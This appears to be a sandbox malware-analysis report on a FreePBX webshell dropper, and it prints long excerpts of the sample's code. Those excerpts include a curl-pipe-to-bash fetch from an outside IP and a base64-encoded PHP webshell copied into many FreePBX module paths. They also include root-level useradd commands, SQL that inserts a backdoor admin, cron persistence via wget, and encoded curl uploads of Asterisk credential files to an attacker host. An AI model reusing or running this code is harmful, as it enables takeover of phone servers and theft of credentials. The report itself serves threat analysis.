Hostile ^100% linux Download

k.php

Multi-stage FreePBX webshell dropper

Creates UID/GID-zero login accountCron installs encoded remote shell payload

SHA-2569c12549b4372d87d323d7e109dfb288fab3a10b687576ae9572022e162ae9271

URLhttps://tria.ge/api/v0/samples/260823-sp9ykahl9y/sample

MaleculeO₆(C₃P₂As₃ErDyLa)H₅(Cm₁₀Db₃F₁₁Os₅Po₄)MdTh

Evidence

Encoded content decoded: base64 lines 1–3

1#!/bin/bash
2curl http://160.119.69.4/x -ks | bash
3echo -n 'PD9waHAgLyogdHJhY2VfZTdmM2VlMTliYzhmODFkMTY3YmQyNzdhMTM5YzJlYWMgKi8gaWYoZmFsc2UpeyAkeGFJS01hRHVGZm9HUmdMID0gJ2RlYWRjb2RlX2FudGlfYXYnOyB9ICRKcWVmSExCS1hKWGNpWUVGWm5xTG4gPSBiYXNlNjRfZGVjb2RlKCdabkptWm5aaVlWOW1aMjVsWnlncE93cDJjeUFvZG1abWNtY29KRjlGVWtSSVVrWkhXeWQ2Y1RVblhTa2dKaVlnZW5FMUtDUmZSVkpFU0ZKR1Ixc25lbkUxSjEwcElEMDlJQ2R5TWpjd09ITTJNVzl4Y2pBME1YRnpOekp2YjNKd2IzSXpNVzR5TXpKdWJpY3BJSHNLSUNBZ0lDUmZSbEpHUmxaQ1FWc25lV0ppZUhZblhTQTlJQ2Q1WW5SMGNuRW5Pd3A5Q25aeklDZ2hkbVptY21jb0pGOUdVa1pHVmtKQld5ZDVZbUo0ZGlkZEtTa2dld29nSUNBZ2NuQjFZaUFuUEhOaVpYb2dibkJuZG1KaFBTSWlJSHB5WjNWaWNUMGlZ …

FreePBX immutable webshell persistence lines 3–10

3:7898… Z1NhdnlSQmtKa0FPcWh6UlN3QlF6ID0gc3RyX3JvdDEzKCRKcWVmSExCS1hKWGNpWUVGWm5xTG4pOyBldmFsKCRnU2F2eVJCa0prQU9xaHpSU3dCUXopOyA/Pg==' | base64 -d > /var/www/html/admin/views/ajax.php
4cp /var/www/html/admin/views/ajax.php /var/www/html/h.php
5echo -n 'dXNlcmFkZCAtcyAvYmluL2Jhc2ggIC1vdSAwIC1nIDAgLXAgJ3VldGVHSllDSGVNVGsnIG5ld2ZwYnggJj4vZGV2L251bGw' | base64 -d |bash
6echo -n 'dXNlcmFkZCAtcyAvYmluL2Jhc2ggIC1vdSAwIC1nIDAgLXAgJ3VldGVHSllDSGVNVGsnIHhoaW1heCAmPi9kZXYvbnVsbA==' | base64 -d |bash
7mysql -u root --password='' asterisk -e "DELETE FROM ampusers WHERE username != 'admin';"
8mysql -u root --password='' asterisk -e "DELETE FROM ampusers WHERE username != 'admin'; INSERT INTO ampusers SET username='freepbxusers', sections='*', password_sha1='6ea9c6d2d932532a4cd44c7974fb1a0a87dbfcf9';"
9echo -n 'dXNlcmFkZCAtcyAvYmluL2Jhc2ggIC1vdSAwIC1nIDAgLXAgJ3VldGVHSllDSGVNVGsnIG5ld2ZwYnggJj4vZGV2L251bGw' | base64 -d |bash
10echo -n 'dXNlcmFkZCAtcyAvYmlu …

FreePBX module webshell spread lines 16–21

16:30… ajax.php /var/www/html/rest_phones/ajax.php
17cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/ajax.php
18cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/ajax.php
19cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/ajax.php
20cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/config.php
21cp /var/www/html/admin/views/a …

Asterisk HA trigger marker line 31

31:16380… x8IHRydWU7CmVjaG8gJ2EnID4gL3Vzci9sb2NhbC9hc3Rlcmlzay9oYV90cmlnZ2VyMiB8fCB0cnVlOwpjYXQgL2V0Yy9wYXNzd2QKbHMgLWxzIC9ob21lCmVjaG8gJ3dnZXQgaHR0cDovLzQ1Ljk1LjE0Ny4xNzgvay5waHAgLU8gL3Zhci9saWIvYXN0ZXJpc2svYmluL2Rldm51bGw7Y3JvbnRhYiAtcjt7ZWNobyAiKi8zICogKiAqICogY2htb2QgK3ggL3Zhci9saWIvYXN0ZXJpc2svYmluL2Rldm51bGw7L3Zhci9saWIvYXN0ZXJpc2svYmluL2Rldm51bGwiO30gfCBjcm9udGFiIC07JzsKZWNobyAnd2dldCBodHRwOi8vNDUuOTUuMTQ3LjE3OC9rLnBocCAtTyAvdmFyL2xpYi9hc3Rlcmlzay9iaW4vZGV2bnVsbHM7Y3JvbnRhYiAtcjt7ZWNobyAiKi8zICogKiAqICogY2htb2QgK3ggL3Zhci9saWIvYXN0ZXJpc2svYmluL2Rldm51bGxzOy92YXIvbGliL2FzdGVyaXNrL2Jpbi9kZXZudWxscyI7fSB8IGNyb250YWIgLTsnOwplY2hvICJybSAtcmYgL3Zhci9z …

Encoded URL pinned to external IPv4 lines 32–33

32:17361… /test.sh; bash /var/spool/asterisk/tmp/test.sh; rm -rf /var/spool/asterisk/tmp/test.sh
33echo -n 'Y3VybCAtRiAiZmlsZT1AL2V0Yy9hc3Rlcmlzay9zaXBfYWRkaXRpb25hbC5jb25mIiBodHRwOi8vNDUuOTUuMTQ3LjE3OC9oaW1hX2RhdGEvaW5kZXgucGhwIC0tbWF4LXRpbWUgMTUKY3VybCAtRiAiZmlsZT1AL2V0Yy9hc3Rlcmlzay9zaXBfcmVnaXN0cmF0aW9ucy5jb25mIiBodHRwOi8vNDUuOTUuMTQ3LjE3OC9oaW1hX2RhdGEvaW5kZXgucGhwIC0tbWF4LXRpbWUgMTUKY3VybCAtRiAiZmlsZT1AL2V0Yy9hc3Rlcmlzay9tYW5hZ2VyLmNvbmYiIGh0dHA6Ly80NS45NS4xNDcuMTc4L2hpbWFfZGF0YS9pbmRleC5waHAgLS1tYXgtdGltZSAxNQpjdXJsIC1GICJmaWxlPUAvZXRjL2FzdGVyaXNrL3Bqc2lwLmlkZW50aWZ5LmNvbmYiIGh0dHA6Ly80NS45NS4xNDcuMTc4L2hpbWFfZGF0YS9pbmRleC5waHAgLS1tYXgtdGltZSAxNQpjdXJsIC1GICJmaWxlPUAvZXRjL2FzdGVyaXNrL3Bqc2lwLnRyYW5zcG9ydHMuY29uZiIgaHR0cDovLzQ1Ljk1LjE0Ny4xNzgvaGltYV9kYXRhL2luZGV4LnBocCAtLW1heC10aW1lIDE1CmN1cmwg …